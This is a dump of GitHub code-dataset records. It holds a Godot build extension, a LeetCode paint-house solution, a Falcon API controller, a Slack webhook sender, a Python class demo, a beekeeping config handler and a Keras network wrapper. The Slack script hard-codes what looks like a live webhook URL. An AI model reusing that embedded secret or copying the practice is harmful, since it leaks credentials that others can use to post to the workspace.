dirname.replace(self.python_dependencies['lib_dir'], '').lstrip(os.sep)\n\n root = lib_root\n\n for tools_pkg in TOOLS_PACKAGES:\n if base_dirname.startswith(tools_pkg):\n root = libtools_root\n break\n\n target_dirname = os.path.join(root, base_dirname)\n\n if not os.path.isdir(target_dirname):\n os.makedirs(target_dirname)\n\n for fn in files:\n src = os.path.join(dirname, fn)\n dst = os.path.join(target_dirname, fn)\n shutil.copy2(src, dst)\n\n if self.godot_project.set_development_path:\n return\n\n def copy_python_lib_file(src, dst, fn, ratio, force=False):\n check_existance = True\n\n if dst.endswith('.py'):\n dst += 'c'\n log.info('compiling %s -> %s' % (src, dst))\n changed = force or not os.path.exists(dst) or os.stat(src).st_mtime != os.stat(dst).st_mtime\n if not changed:\n return\n\n python_exe = self.python_dependencies['executable']\n cmd = [\n python_exe,\n '-c',\n \"from py_compile import compile; compile(%r, %r, dfile=%r, doraise=True)\" % (src, dst, fn)\n ]\n try:\n subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n shutil.copystat(src, dst)\n except Exception as exc:\n check_existance = False\n log.error('Could not compile %r, error was: %r' % (dst, exc))\n else:\n log.info('copying %s -> %s' % (src, dst))\n changed = force or not os.path.exists(dst) or os.stat(src).st_mtime != os.stat(dst).st_mtime\n if not changed:\n return\n\n target_dir = os.path.dirname(dst)\n if not os.path.isdir(target_dir):\n os.makedirs(target_dir)\n\n shutil.copy2(src, dst)\n\n if check_existance:\n assert os.path.exists(dst), dst\n\n log.info('byte-compiling Python sources')\n to_copy = []\n for dirname, subdirs, files in os.walk(self.godot_project.python_package):\n if '__pycache__' in dirname:\n continue\n target_dirname = os.path.join(lib_root, dirname)\n\n for fn in files:\n src = os.path.join(dirname, fn)\n dst = os.path.join(target_dirname, fn)\n to_copy.append((src, dst, fn))\n\n for i, (src, dst, fn) in enumerate(to_copy):\n copy_python_lib_file(src, dst, fn, (i+1)/len(to_copy))\n\n def collect_dependencies(self):\n ziplib = glob.glob(os.path.join(tools_root, '..', '_godopy.cp*.*')).pop()\n\n if not self.dry_run and not os.path.isdir(os.path.join('build', 'lib')):\n shutil.unpack_archive(ziplib, 'build', 'xztar')\n\n self.python_dependencies['bin_dir'] = bin_dir = os.path.join('build', 'bin')\n self.python_dependencies['lib_dir'] = os.path.join('build', 'lib')\n\n self.python_dependencies['py_files'] = []\n self.python_dependencies['zip_dirs'] = set()\n\n python_exe = 'python.exe'\n self.python_dependencies['executable'] = os.path.join(bin_dir, python_exe)\n\n def collect_godot_project_data(self, ext):\n self.godot_project = ext\n\n def collect_godot_generic_library_data(self, ext):\n if self.godot_project is None:\n sys.stderr.write(\"Can't build a GDNative library without a Godot project.\\n\\n\")\n sys.exit(1)\n\n if self.gdnative_library_path is not None:\n sys.stderr.write(\"Can't build multiple GDNative libraries.\\n\")\n sys.exit(1)\n\n platform = get_platform()\n\n ext_name = self.godot_project.get_setuptools_name(ext.name, validate='.gdnlib')\n ext_path = self.get_ext_fullpath(ext_name)\n godot_root = self.godot_root = ensure_godot_project_path(ext_path)\n\n dst_dir, dst_fullname = os.path.split(ext_path)\n dst_name_parts = dst_fullname.split('.')\n # src_zip = '.'.join(['_godopy', *dst_name_parts[1:]])\n\n python_exe = self.python_dependencies['executable']\n cmd = [python_exe, '-c', \"from distutils.sysconfig import get_config_var; print(get_config_var('EXT_SUFFIX'))\"]\n result = subprocess.run(cmd, stdout=subprocess.PIPE, check=True, universal_newlines=True)\n ext_suffix = result.stdout.strip()\n\n src_name = dst_name = '_godopy' + ext_suffix\n\n binext_path = os.path.join(godot_root, self.godot_project.binary_path, 'lib', dst_name)\n\n # self.build_context['godopy_zip_name'] = src_zip\n self.build_context['godopy_library_name'] = src_name\n self.build_context['target'] = binext_path\n self.build_context['library_name'] = '_godopy'\n\n base_name = dst_name_parts[0]\n gdnlib_respath = make_resource_path(godot_root, os.path.join(dst_dir, base_name + '.gdnlib'))\n setup_script_respath = make_resource_path(godot_root, os.path.join(dst_dir, base_name + '__setup.gd'))\n self.gdnative_library_path = gdnlib_respath\n self.generic_setup = True\n\n context = dict(singleton=False, load_once=True, reloadable=False)\n context.update(ext._gdnative_options)\n context['symbol_prefix'] = 'godopy_'\n context['libraries'] = {platform: make_resource_path(godot_root, binext_path), 'Server.64': make_resource_path(godot_root, binext_path)}\n\n # context['main_zip_resource'] = main_zip_res = 'res://%s/%s.pak' % (self.godot_project.binary_path, base_name)\n # context['venv_path'] = self.python_dependencies['site_dir'].replace(os.sep, '/')\n context['lib_path'] = 'res://%s/lib' % self.godot_project.binary_path\n context['libtools_path'] = 'res://%s/libtools' % self.godot_project.binary_path\n if self.godot_project.set_development_path:\n context['development_path'] = self.godot_project.development_path or os.path.realpath(root_dir)\n context['development_path'] = str(context['development_path']).replace(os.sep, '/')\n\n deps = []\n\n context['dependencies'] = {platform: deps, 'Server.64': deps}\n context['library'] = 'res://%s' % gdnlib_respath\n context['python_package'] = self.godot_project.python_package\n\n context['settings'] = create_settings(self.godot_project)\n\n self.make_godot_resource('gdnlib.mako', gdnlib_respath, context)\n self.make_godot_resource('library_setup.gd.mako', setup_script_respath, context)\n\n def collect_godot_library_data(self, ext):\n if self.godot_project is None:\n raise SystemExit(\"Can't build a GDNative library without a Godot project.\\n\\n\")\n\n if self.gdnative_library_path is not None:\n raise SystemExit(\"Can't build multiple GDNative libraries.\\n\")\n\n platform = get_platform()\n\n pyx_source = '__init__.pyx'\n py_source = '__init__.py'\n\n if os.path.exists(os.path.join(self.godot_project.python_package, pyx_source)):\n library_source = pyx_source\n elif os.path.exists(os.path.join(self.godot_project.python_package, py_source)):\n library_source = py_source\n else:\n raise SystemExit(\"Coudn't find GDNative library source, tried %r and %r\" % (pyx_source, py_source))\n\n ext_name = self.godot_project.get_setuptools_name(ext.name, validate='.gdnlib')\n ext_path = self.get_ext_fullpath(ext_name)\n godot_root = self.godot_root = ensure_godot_project_path(ext_path)\n\n dst_dir, dst_fullname = os.path.split(ext_path)\n dst_name_parts = dst_fullname.split('.')\n base_name = dst_name_parts[0]\n dst_name_parts[0] = 'lib' + dst_name_parts[0]\n dst_fullname = dst_name_parts[0] + get_dylib_ext()\n staticlib_name = 'libgodopy.%s.%s.64' % (platform_suffix(platform), build_target)\n\n binext_path = os.path.join(godot_root, self.godot_project.binary_path, platform_suffix(platform), dst_fullname)\n\n cpp_library_dir = os.path.dirname(library_source)\n self.build_context['cpp_library_path'] = \\\n os.path.join(self.godot_project.python_package, cpp_library_dir, '__gdinit__.cpp')\n\n self.build_context['godopy_library_name'] = staticlib_name\n self.build_context['target'] = make_relative_path(binext_path)\n self.build_context['singleton'] = ext._gdnative_options.get('singleton', False)\n self.build_context['gdnative_options'] = ext._gdnative_options.get('gdnative_options', False)\n\n dst_name = dst_name_parts[0]\n self.build_context['library_name'] = dst_name\n gdnlib_respath = make_resource_path(godot_root, os.path.join(dst_dir, base_name + '.gdnlib'))\n setup_script_respath = make_resource_path(godot_root, os.path.join(dst_dir, base_name + '__setup.gd'))\n self.gdnative_library_path = gdnlib_respath\n self.generic_setup = False\n\n context = dict(singleton=False, load_once=True, reloadable=False)\n context.update(ext._gdnative_options)\n context['symbol_prefix'] = 'godopy_'\n context['libraries'] = {platform: make_resource_path(godot_root, binext_path), 'Server.64': make_resource_path(godot_root, binext_path)}\n\n # context['main_zip_resource'] = main_zip_res = 'res://%s/%s.pak' % (self.godot_project.binary_path, base_name)\n # context['venv_path'] = self.python_dependencies['site_dir'].replace(os.sep, '/')\n context['lib_path'] = 'res://%s/lib' % self.godot_project.binary_path\n context['libtools_path'] = 'res://%s/libtools' % self.godot_project.binary_path\n if self.godot_project.set_development_path:\n context['development_path'] = self.godot_project.development_path or os.path.realpath(root_dir)\n context['development_path'] = str(context['development_path']).replace(os.sep, '/')\n\n deps = []\n\n context['dependencies'] = {platform: deps, 'Server.64': deps}\n context['library'] = 'res://%s' % gdnlib_respath\n context['python_package'] = self.godot_project.python_package\n\n context['settings'] = create_settings(self.godot_project)\n\n self.make_godot_resource('gdnlib.mako', gdnlib_respath, context)\n self.make_godot_resource('library_setup.gd.mako', setup_script_respath, context)\n self.collect_sources(ext.sources + [library_source])\n\n def collect_godot_nativescript_data(self, ext):\n if not self.gdnative_library_path:\n raise SystemExit(\"Can't build a NativeScript extension without a GDNative library.\")\n\n addon = None\n\n if ext._addon_prefix:\n try:\n addon = self.addons[ext._addon_prefix]\n except KeyError:\n raise SystemExit(\"Addon %r was not found\" % ext._addon_prefix)\n\n ext_name = self.godot_project.get_setuptools_name(ext.name, addon and addon.name, validate='.gdns')\n ext_path = self.get_ext_fullpath(ext_name)\n godot_root = ensure_godot_project_path(ext_path)\n\n dst_dir, dst_fullname = os.path.split(ext_path)\n dst_name_parts = dst_fullname.split('.')\n dst_name = dst_name_parts[0]\n gdns_path = os.path.join(dst_dir, dst_name + '.gdns')\n\n classname = ext._nativescript_classname or dst_name\n context = dict(gdnlib_resource=self.gdnative_library_path, classname=classname)\n\n self.make_godot_resource('gdns.mako', make_resource_path(godot_root, gdns_path), context)\n self.collect_sources(ext.sources, addon, prepend=True)\n\n if not self.godot_project.set_development_path:\n self.collect_dynamic_sources(ext._dynamic_sources, addon)\n\n def collect_godot_addon_data(self, ext):\n self.addons[ext.name] = ext\n config_path = os.path.join('addons', ext.name, 'plugin.cfg')\n\n context = {\n **ext._addon_metadata,\n 'name': ext._addon_metadata.get('name', ext.name),\n 'script': ext._addon_metadata.get('script', ext.name + '.gdns'),\n }\n\n for pattern in ext._data_file_patterns:\n for fn in glob.glob(os.path.join(ext.name, pattern)):\n self.make_godot_file_resource(fn, os.path.join('addons', fn))\n\n self.make_godot_resource('plugin.cfg.mako', config_path, context)\n\n def make_godot_resource(self, template_filename, path, context):\n template = Template(filename=os.path.join(templates_dir, template_filename))\n self.godot_resources[path] = template.render(**context)\n\n def make_godot_file_resource(self, src_path, path):\n self.godot_resource_files[path] = src_path\n\n def collect_sources(self, sources, addon=None, prepend=False):\n cpp_sources = []\n pyx_sources = []\n\n for pyx_source in sources:\n if pyx_source.endswith('.cpp'):\n cpp_sources.append(pyx_source)\n continue\n\n source = os.path.join(self.godot_project.python_package, pyx_source)\n target = source.replace('.pyx', '.cpp')\n target_dir, target_name = os.path.split(target)\n\n name, _ = os.path.splitext(target_name)\n\n dir_components = target_dir.split(os.sep)\n\n if is_internal_path(dir_components[0]):\n dir_components = dir_components[1:]\n\n if name == '__init__':\n modname = '.'.join(dir_components)\n else:\n modname = '.'.join([*dir_components, name])\n\n pyx_sources.append({\n 'name': modname,\n 'symbol_name': modname.replace('.', '__'),\n 'cpp': target,\n 'pyx': source\n })\n\n for cpp_source in cpp_sources:\n source = os.path.join(self.godot_project.python_package, cpp_source)\n self.build_context['cpp_sources'].append(make_relative_path(source))\n\n if prepend:\n self.build_context['pyx_sources'] = pyx_sources + self.build_context['pyx_sources']\n else:\n self.build_context['pyx_sources'] += pyx_sources\n\n def collect_dynamic_sources(self, sources, addon):\n prefix = addon and addon.name or self.godot_project.python_package\n\n collection = self.python_dependencies['py_files']\n\n if sources:\n dirname = os.path.dirname(sources[0])\n if dirname:\n collection.append(('local', os.path.join(prefix, '__init__.py')))\n prefix = os.path.join(prefix, dirname)\n\n append_init_file = False\n\n # if addon and addon._editor_only:\n # collection = self.python_dependencies['py_files_dev']\n # if prefix not in self.python_dependencies['zip_dirs_dev']:\n # self.python_dependencies['zip_dirs_dev'].add(prefix)\n # append_init_file = True\n # else:\n\n if prefix not in self.python_dependencies['zip_dirs']:\n self.python_dependencies['zip_dirs'].add(prefix)\n append_init_file = True\n\n if append_init_file:\n init_file = os.path.join(prefix, '__init__.py')\n\n if os.path.exists(init_file):\n collection.append(('local', init_file))\n else:\n collection.append((None, init_file))\n\n for source in sources:\n collection.append(('local', os.path.join(prefix, os.path.basename(source))))\n\n\ndef ensure_godot_project_path(path):\n godot_root = detect_godot_project(path)\n\n if not godot_root:\n sys.stderr.write(\"No Godot project detected.\\n\")\n sys.exit(1)\n\n return os.path.realpath(godot_root)\n\n\ndef detect_godot_project(dir, fn='project.godot'):\n if not dir or not fn:\n return\n\n if os.path.isdir(dir) and 'project.godot' in os.listdir(dir):\n return dir\n\n return detect_godot_project(*os.path.split(dir))\n\n\ndef make_resource_path(godot_root, path):\n # Filenames should be exportable to case-sesitive platforms, don't touch them here\n folder, fn = os.path.split(path)\n folder = os.path.realpath(folder).replace(os.path.realpath(godot_root), '').lstrip(os.sep)\n return os.path.join(folder, fn).replace(os.sep, '/')\n\n\ndef make_relative_path(path):\n return os.path.realpath(path).replace(root_dir, '').lstrip(os.sep).replace(os.sep, '/')\n\n\ndef platform_suffix(platform):\n replacements = {'x11': 'linux'}\n suffix = platform.lower().split('.')[0]\n\n if suffix in replacements:\n return replacements[suffix]\n\n return suffix\n\n\ndef is_python_source(fn):\n return fn.endswith('.py')\n\n\ndef is_python_ext(fn):\n return fn.endswith('.so') or fn.endswith('.pyd') or fn.endswith('.dll') or fn.endswith('.dylib')\n\n\ndef is_generic_dylib(fn):\n return os.sep + '.' in fn\n\n\ndef get_dylib_ext():\n if sys.platform == 'darwin':\n return '.dylib'\n elif sys.platform == 'win32':\n return '.dll'\n return '.so'\n\n\ndef inner_so_path(root, fn):\n parts = fn.split('.')\n if root == 'site':\n if is_generic_dylib(fn):\n return '_' + fn\n return '_%s.%s' % (parts[0], parts[-1])\n return '%s.%s' % (parts[0], parts[-1])\n\n\ndef get_platform():\n if sys.maxsize <= 2**32:\n raise SystemExit(\"32-bit platforms are not supported\")\n\n if sys.platform == 'darwin':\n return 'OSX.64'\n elif sys.platform.startswith('linux'):\n return 'X11.64'\n elif sys.platform == 'win32':\n return 'Windows.64'\n\n raise SystemExit(\"Can't build for '%s' platform yet\" % sys.platform)\n\n\ndef create_settings(project):\n mod = project.module\n\n settings = {}\n\n if hasattr(mod, 'NAME'):\n settings['application/config/name'] = mod.NAME\n\n if hasattr(mod, 'MAIN_SCENE'):\n settings['application/run/main_scene'] = mod.MAIN_SCENE\n\n if hasattr(mod, 'ICON'):\n settings['application/config/icon'] = mod.ICON\n\n if hasattr(mod, 'WINDOW_SIZE'):\n width, height = mod.WINDOW_SIZE\n settings['display/window/size/width'] = width\n settings['display/window/size/height'] = height\n\n # TODO: [input] block\n\n if hasattr(mod, 'DEFAULT_ENVIRONMENT'):\n settings['rendering/environment/default_environment'] = mod.DEFAULT_ENVIRONMENT\n\n return settings\n","repo_name":"godopy/godopy","sub_path":"godot_tools/setup/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":26264,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"} +{"seq_id":"16901504762","text":"\"\"\"\nhttps://leetcode.com/problems/paint-house/\n\nThere are a row of n houses, each house can be painted with one of the three colors: red, blue or green. The cost of painting each house with a certain color is different. You have to paint all the houses such that no two adjacent houses have the same color.\n\nThe cost of painting each house with a certain color is represented by a n x 3 cost matrix. For example, costs[0][0] is the cost of painting house 0 with color red; costs[1][2] is the cost of painting house 1 with color green, and so on... Find the minimum cost to paint all houses.\n\nNote:\nAll costs are positive integers.\n\nExample:\n\nInput: [[17,2,17],[16,16,5],[14,3,19]]\nOutput: 10\nExplanation: Paint house 0 into blue, paint house 1 into green, paint house 2 into blue.\n Minimum cost: 2 + 5 + 3 = 10.\n\"\"\"\nclass Solution(object):\n def minCost(self, costs):\n \"\"\"\n :type costs: List[List[int]]\n :rtype: int\n \"\"\"\n min_cost_by_color = [0, 0, 0] # a list of 3 that key track of the min cost if the last unit we paint is red, blue and reen at each time\n for cost in costs:\n min_cost_by_color_new = [0,0,0]\n for color_index in range(3):\n min_cost_by_color_new[color_index ] = min([ min_cost_by_color[tmp] for tmp in range(3) if tmp != color_index ]) + cost[color_index]\n min_cost_by_color = min_cost_by_color_new\n return min(min_cost_by_color)\n\nclass Solution2(object):\n def minCostII(self, costs):\n \"\"\"\n :type costs: List[List[int]]\n :rtype: int\n \"\"\"\n if not bool(costs): return 0\n num_color = len(costs[0])\n num_houses = len(costs)\n if num_color == 1 and num_houses>1:\n return None\n if num_color == 1:\n return min(costs[0])\n min_cost_by_color = [0]*num_color # a list of 3 that key track of the min cost if the last unit we paint is red, blue and reen at each time\n min_val_index = -1\n min_val = 0\n second_min = 0\n for cost in costs:\n min_cost_by_color_new = [0]*num_color\n min_val_index_new = -1\n min_val_new = 0\n second_min_new = 0\n for color_index in range(num_color):\n if color_index == min_val_index:\n min_cost_by_color_new[color_index ] = second_min + cost[color_index]\n else:\n min_cost_by_color_new[color_index ] = min_val + cost[color_index]\n if min_val_index_new == -1 or (min_val_new > min_cost_by_color_new[color_index]):\n if min_val_index_new != -1:\n second_min_new = min_val_new\n min_val_index_new = color_index\n min_val_new = min_cost_by_color_new[color_index]\n elif color_index == 1:\n second_min_new = min_cost_by_color_new[color_index]\n elif min_cost_by_color_new[color_index] < second_min_new:\n second_min_new = min_cost_by_color_new[color_index]\n min_cost_by_color = min_cost_by_color_new\n min_val_index = min_val_index_new\n min_val = min_val_new\n second_min = second_min_new\n return min(min_cost_by_color)\n\nsolution = Solution2()\nprint(solution.minCostII([[20,19,11,13,12,16,16,17,15,9,5,18],\n [3,8,15,17,19,8,18,3,11,6,7,12],\n [15,4,11,1,18,2,10,9,3,6,4,15]]))","repo_name":"lightening0907/algorithm","sub_path":"paint_house.py","file_name":"paint_house.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71836669200","text":"import falcon as falcon\r\nfrom django_main.domain.repositories import CustomerRepo\r\n\r\ncache = {}\r\nUSE_CACHE = False\r\nrepo = CustomerRepo()\r\n\r\n\r\nclass CustomerController:\r\n @staticmethod\r\n def __return_error(resp, e):\r\n resp.status = falcon.HTTP_500\r\n resp.media = {\"error\": str(e)}\r\n\r\n def on_get(self, req, resp, customer_id=None):\r\n resp.status = falcon.HTTP_200\r\n\r\n if USE_CACHE:\r\n if customer_id in cache:\r\n resp.media = cache.get(customer_id)\r\n return\r\n\r\n customer = repo.get_customer(id=customer_id)\r\n cache[customer_id] = customer.to_dict()\r\n resp.media = customer.to_dict()\r\n\r\n def on_delete(self, req, resp, customer_id=None):\r\n try:\r\n repo.delete_customer(customer_id)\r\n resp.media = {\"success\": True}\r\n except Exception as e:\r\n self.__return_error(resp, e)\r\n\r\n def on_put(self, req, resp, customer_id=None):\r\n resp.status = falcon.HTTP_200\r\n try:\r\n customer_data_to_update = req.media\r\n customer = repo.update_customer(customer_id, **customer_data_to_update)\r\n resp.media = customer.to_dict()\r\n except Exception as e:\r\n self.__return_error(resp, e)\r\n\r\n def on_post(self, req, resp):\r\n resp.status = falcon.HTTP_200\r\n try:\r\n customer_data = req.media\r\n customer = repo.create_customer(**customer_data)\r\n resp.media = customer.to_dict()\r\n except Exception as e:\r\n self.__return_error(resp, e)\r\n","repo_name":"johnatasr/Django-ORM-APIS-Benchmark","sub_path":"falcon_api/controllers/customer_controller.py","file_name":"customer_controller.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35934096735","text":"import datetime\n\nclass Employee:\n raise_amt = 1.04\n number_of_emps = 0\n\n def __init__(self,first,last,pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@' + 'email.com'\n\n Employee.number_of_emps += 1\n\n def fullname(self):\n return f'{self.first} {self.last}'\n\n def apply_raise(self):\n self.pay = int(self.pay * self.raise_amt)\n\n @classmethod\n def set_raise_amt(cls,amount):\n cls.raise_amt = amount\n\n @classmethod\n def from_string(cls,emp_str):\n first,last,pay = emp_str.split('-')\n return cls(first,last,pay)\n\n @staticmethod\n def is_workday(day):\n if day.weekday() == 5 or day.weekday() == 6:\n return False\n return True \n\nemp_1 = Employee('Akhil','Tripathi',500000)\nemp_string_2 = 'Sachin-Tendulkar-200000'\n\nemp_2 = Employee.from_string(emp_string_2)\nprint(emp_2.fullname())\n\nmy_date = datetime.date(2022,6,26)\n\nprint(Employee.is_workday(my_date))","repo_name":"choubeyji-git/Python-Coding-Interview-questions","sub_path":"code_practice/oops/stClmethod/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31267328545","text":"import urllib.request\nimport json\n\ndef send_message(channel, text):\n url = 'https://hooks.slack.com/services/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'\n headers = { 'Content-Type': 'application/json; charset=utf-8' }\n method = 'POST'\n data = {\n \"channel\": channel,\n \"username\": \"Bot\",\n \"text\": text,\n \"icon_emoji\": \":beer:\"\n }\n json_data = json.dumps(data).encode(\"utf-8\")\n req = urllib.request.Request(url=url, data=json_data, headers=headers, method=method)\n res = urllib.request.urlopen(req, timeout=5)\n print(\"Http status: {0} {1}\".format(res.status, res.reason))\n print(res.read().decode(\"utf-8\"))\n\nsend_message('#random', 'hello, from python')\n","repo_name":"dongri/slacker","sub_path":"Python/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18785061502","text":"import tkinter as tk\nfrom tkinter import Tk\n\nfrom at.tama.beechecker.dbaccess import DbAccess\nfrom at.tama.beechecker.configuration.imker import BeeKeeper\nfrom at.tama.beechecker.configuration.login_handler import LoginHandler\nfrom at.tama.beechecker.configuration.stock_handler import StockHandler\n\n\nclass MainHandler:\n _window = None#: Tk\n _bk = None #: BeeKeeper\n _loginHandler = None #: LoginHandler\n _stockHandler = None #: StockHandler\n\n def __init__(self):\n self._window = tk.Tk()\n self._window.geometry(\"{0}x{1}+0+0\".format(\n self._window.winfo_screenwidth() - 3, self._window.winfo_screenheight() - 3))\n self._window.title('BeeSpy - Konfiguration')\n self._loginHandler = LoginHandler(self._window)\n self._stockHandler = StockHandler(self._window)\n\n def start(self):\n beekeeper = DbAccess.find_beekeeper()\n if beekeeper is None:\n self._loginHandler.open()\n self._loginHandler.add_observer(self.on_bk_found)\n print('Öffne das Fenster um das Service um einen Token zu bitten.')\n else:\n self.on_bk_found(beekeeper)\n self._window.mainloop()\n\n def on_bk_found(self, bk: BeeKeeper):\n print('on_bk_found')\n self._bk = bk\n self._loginHandler.close()\n self._stockHandler.open()\n\n","repo_name":"martintanler/beechecker","sub_path":"at/tama/beechecker/configuration/main_handler.py","file_name":"main_handler.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5466446572","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\nclass neural_network():\n\n def __init__(self, layersizes, activations, learning_rate=0.01,\n optimizer='adam', losses='huber', huber_delta = 1.0,\n training_epochs = 1, steps_per_epoch = None):\n\n # Store Training Information\n self.training_epochs = training_epochs\n self.steps_per_epoch = steps_per_epoch\n\n # Establish a Model\n self.model = tf.keras.Sequential([keras.Input(shape=(layersizes[0],))])\n for i in np.arange(1, len(layersizes)):\n self.model.add(keras.layers.Dense(units=layersizes[i], activation=activations[i-1]))\n\n # Define the optimiser\n if optimizer=='adam': optim = keras.optimizers.Adam(learning_rate=learning_rate)\n elif optimizer=='rmsprop': optim = keras.optimizers.RMSprop(learning_rate=learning_rate)\n else: optim = keras.optimizers.Adam(lr=learning_rate)\n\n # Define loss function based on input\n if losses=='huber': loss_function = tf.losses.Huber(delta=huber_delta)\n elif losses=='crossentropy': loss_function = tf.losses.CategoricalCrossentropy(from_logits=True)\n elif losses=='mse': loss_function = tf.losses.MeanSquaredError()\n else: loss_function = tf.losses.Huber(delta=huber_delta)\n\n # Compile the model\n self.model.compile(optimizer=optim,\n loss=loss_function,\n metrics=['accuracy'])\n\n # Train the Network\n def train_network(self, X, Y):\n dataset = tf.data.Dataset.from_tensor_slices((X, Y)).shuffle(len(Y)).batch(len(Y))\n self.model.fit(\n dataset,\n epochs=self.training_epochs,\n steps_per_epoch=self.steps_per_epoch,\n verbose=False\n )\n\n # Predict Network Outputs\n def predict_network(self, X, Y):\n dataset = tf.data.Dataset.from_tensor_slices((X, Y)).batch(len(Y))\n return self.model.predict(dataset)\n","repo_name":"BrandenKeck/neural_network_practice","sub_path":"network_examples/keras_example_network.py","file_name":"keras_example_network.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}